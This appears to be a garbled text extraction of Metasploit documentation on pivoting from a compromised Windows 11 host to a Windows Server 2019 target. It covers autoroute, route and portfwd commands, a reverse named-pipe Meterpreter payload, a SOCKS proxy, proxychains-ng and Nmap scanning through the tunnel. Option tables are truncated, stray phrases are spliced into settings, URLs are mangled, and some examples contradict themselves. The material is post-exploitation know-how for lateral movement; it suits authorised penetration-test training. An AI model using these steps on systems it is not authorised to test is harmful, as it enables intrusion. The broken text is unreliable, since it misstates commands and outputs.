DoublePivot Meta
DoublePivot Meta
Overview
Whilst in test environments one is often looking at flat networks that only have one subnet and one
network environment, the reality is that when it comes to pentests that are attempting to
compromise an entire company, you will often have to deal with multiple networks, often with
switches or firewalls in-between that are intended to keep these networks separate from one
another.
In order for pivoting to work, you must have compromised a host that is connected to two or more
networks. This usually means that the host has two or more network adapters, whether that be
physical network adapters, virtual network adapters, or a combination of both.
Once you have compromised a host that has multiple network adapters you can then use the
session that you have obtained on that host to use that host as a pivot, and relay traffic through the
compromised host to the target machine that you want to access. This allows you, as an attacker, to
access machines on networks that you might not otherwise have access to, by utilizing the access to
internal networks that the compromised machine has.
Now that we understand some of the background, lets see this in action a bit more by setting up a
sample environment and walking through some of Metasploit’s pivoting features.
Testing Pivoting
• Internal: None
• External: 172.19.182.171
• Windows 11 Machine (used as pivot)
• Internal: 169.254.16.221
• External: 172.19.185.34
• Windows Server 2019 Machine (final target)
• Internal: 169.254.204.110
• External: None
For the purpose of simplicity we will assume we have a session on the Windows 11 box, which we
will use as a pivot to route our traffic through to the Windows Server 2019 box at 169.254.204.110.
There a few ways to register this route in Metasploit so that it knows how to redirect traffic
appropriately. Lets take a look at these methods.
AutoRoute
One of the easiest ways to do this is to use the post/multi/manage/autoroute module which will help us
automatically add in routes for the target to Metasploit’s routing table so that Metasploit knows
how to route traffic through the session that we have on the Windows 11 box and to the target
Windows Server 2019 box. Lets look at a sample run of this command:
CMD autoadd yes Specify the autoroute command (Accepted: add, auto
SESSION => 1
CMD autoadd yes Specify the autoroute command (Accepted: add, auto
If we now use Meterpreter’s route command we can see that we have two route table entries within
Metasploit’s routing table, that are tied to Session 1, aka the session on the Windows 11 machine.
This means anytime we want to contact a machine within one of the networks specified, we will go
through Session 1 and use that to connect to the targets.
=========================
All right so that’s one way, but what if we wanted to do this manually? First off to flush all routes
from the routing table, we will do route flush followed by route to double check we have
successfully removed the entries.
Route
Here we can use route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY> to add the routes from within
Metasploit, followed by route print to then print all the routes that Metasploit knows about. Note
that the Gateway parameter is either an IP address to use as the gateway or as is more commonly
the case, the session ID of an existing session to use to pivot the traffic through.
=========================
Finally we can check that the route will use session 1 by using route get 169.254.204.110
If we want to then remove a specific route (such as in this case we want to remove the
172.19.176.0/20 route since we don’t need that for this test), we can issue the route del or route
remove commands with the syntax route remove <IP ADDRESS OF SUBNET><NETMASK IN SLASH FORMAT> <GATEWAY>
Example:
=========================
change server
HttpUsername administrator yes The username to log into the Exchange server
as
host:port][...]
pid7/metasploit-framework/wiki/Using-Metasplo
it
SRVHOST 0.0.0.0 yTo come, awaiting some more testing hold on :)es The local host o
randomly generated)
andom)
LHOST 172.19.182.171 yes The listen address (an interface may be speci
fied)
Exploit target:
Id Name
-- ----
0 Windows Command
[*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be
[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
Create named pipe pivot listener on the pivot machine, setting -l to the pivot’s bind address:
Now generate a separate payload that will connect back through the pivot machine. This payload
will be executed on the final target machine. Note there is no need to start a handler for the named
pipe payload.
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
After running the payload on the final target machine a new session will open, via the Windows 11
169.254.16.221 pivot.
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [17
Active sessions
===============
(169.254.204.110)
portfwd
Note: This method is discouraged as you can only set up a mapping between a single port and another
target host and port, so using the socks module below is encouraged where possible. Additionally this
method has been depreciated for some time now.
LOCA L P O RT FORWARDING
To set up a port forward using Metasploit, use the portfwd command within a supported session’s
console such as the Meterpreter console. Using portfwd -h will bring up a help menu similar to the
following:
OPTIONS:
-h Help banner.
-i Index of the port forward entry to interact with (see the "list" command).
-l Forward: local port to listen on. Reverse: local port to connect to.
-L Forward: local host to listen on (optional). Reverse: local host to connect to.
-p Forward: remote port to connect to. Reverse: remote port to listen on.
meterpreter >
To add a port forward, use portfwd add and specify the -l , -p and -r options at a minimum to
specify the local port to listen on, the report port to connect to, and the target host to connect to
respectively.
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
meterpreter >
Note that something that is commonly misunderstood here is that the port will be opened on the
machine running Metasploit itself, NOT on the target that the session is running on.
We can then connect to the target host using the local port on the machine running Metasploit:
WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘127.0.0.1’.
Note that you may need to edit your /etc/hosts file to map IP addresses to given host names to
allow things like redirects to redirect to the right hostname or IP address when using this method of
pivoting.
Can list port forwards using the portfwd list command. To delete all port forwards use portfwd flush .
Alternatively to selectively delete local port forwarding entries, use portfwd delete -l <local port> .
meterpreter >
To set up a reverse port forward, use portfwd add -R within a supported session and then specify the
-l , -L and -p options. The -l option specifies the port to forward the traffic to, the -L option
specifies the IP address to forward the traffic to, and the -p option specifies the port to listen on for
traffic on the machine that we have a session on (whose session console we are currently interacting
with).
For example to listen on port 9093 on a target session and have it forward all traffic to the
Metasploit machine at 172.20.97.72 on port 9093 we could execute portfwd add -R -l 4444 -L
172.20.97.73 -p 9093 as shown below, which would then cause the machine who have a session on to
start listening on port 9093 for incoming connections.
Connection list
===============
Proto Local addre Remote addr State User Inode PID/Program name
ss ess
SRVHOST 0.0.0.0 yes The local host or network interface to listen on.
Auxiliary action:
Name Description
---- -----------
Jobs
====
0 Auxiliary: server/socks_proxy
proxychains-ng Setup
First, make sure that you have installed proxychains-ng . You can also use proxychains however most
repositories such as Ubuntu will have an outdated version of it and it has crashed before in my tests,
so it is highly recommended to use proxychains-ng instead which is actively maintained. You can
install it with the following commands:
cd proxychains-ng
make
Now edit the proxychains configuration file located at /etc/proxychains.conf . Add the below line to the
end of the file to set proxychains-ng to use the SOCKS 5 server that you just set up. Note that you
may need to use sudo to edit this file due to the default permissions on this file preventing anyone
but root from writing to it.
#dynamic_chain
strict_chain
#random_chain
#chain_len = 2
#quiet_mode
# Proxy DNS requests - no leak for DNS data
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
# ProxyList format
# Examples:
[ProxyList]
# meanwile
Note: If there are other proxy entries in the configuration file, you may need to comment them out
as they may interfere with proper routing.
Using Proxychains-NG
Now you can combine proxychains-ng with other application like Nmap, Nessus, Firefox and more
to scan or access machines and resources through the Metasploit routes. All you need to do is call
proxychains-ng before the needed application. No need to change the proxy settings in the
respective application.
~/git/metasploit-framework │ master ?21 wget https://169.254.37.128
connected.
ERROR: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.
connected.
WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.
connected.
WARNING: certificate common name ‘DC1’ doesn't match requested host name ‘169.254.37.128’.
Location: https://169.254.37.128/owa/auth/logon.aspx?url=https%3a%2f%2ffanyv88.com%3a443%2fhttps%2f169.254.37.128%2fowa%2f&reason=0 [f
~/git/proxychains-ng │ master ?2
Scanning
For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic
cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
For Nmap and Zenmap, the below example shows the commands can be used. It is best to be
selective on ports to scan since scanning through the proxy tunnel can be slow.
Here is an example of how this might look when scanning a single host for port 445 over
proxychains-ng :
[proxychains] Strict chain ... 127.0.0.1:1080 ... 169.254.37.128:7458 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 169.254.37.128:42597 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 169.254.37.128:1433 <--socket error or timeout!
|_clock-skew: -1s
| smb2-security-mode:
| 2.02:
| smb2-time:
| date: 2022-04-08T19:09:38
|_ start_date: N/A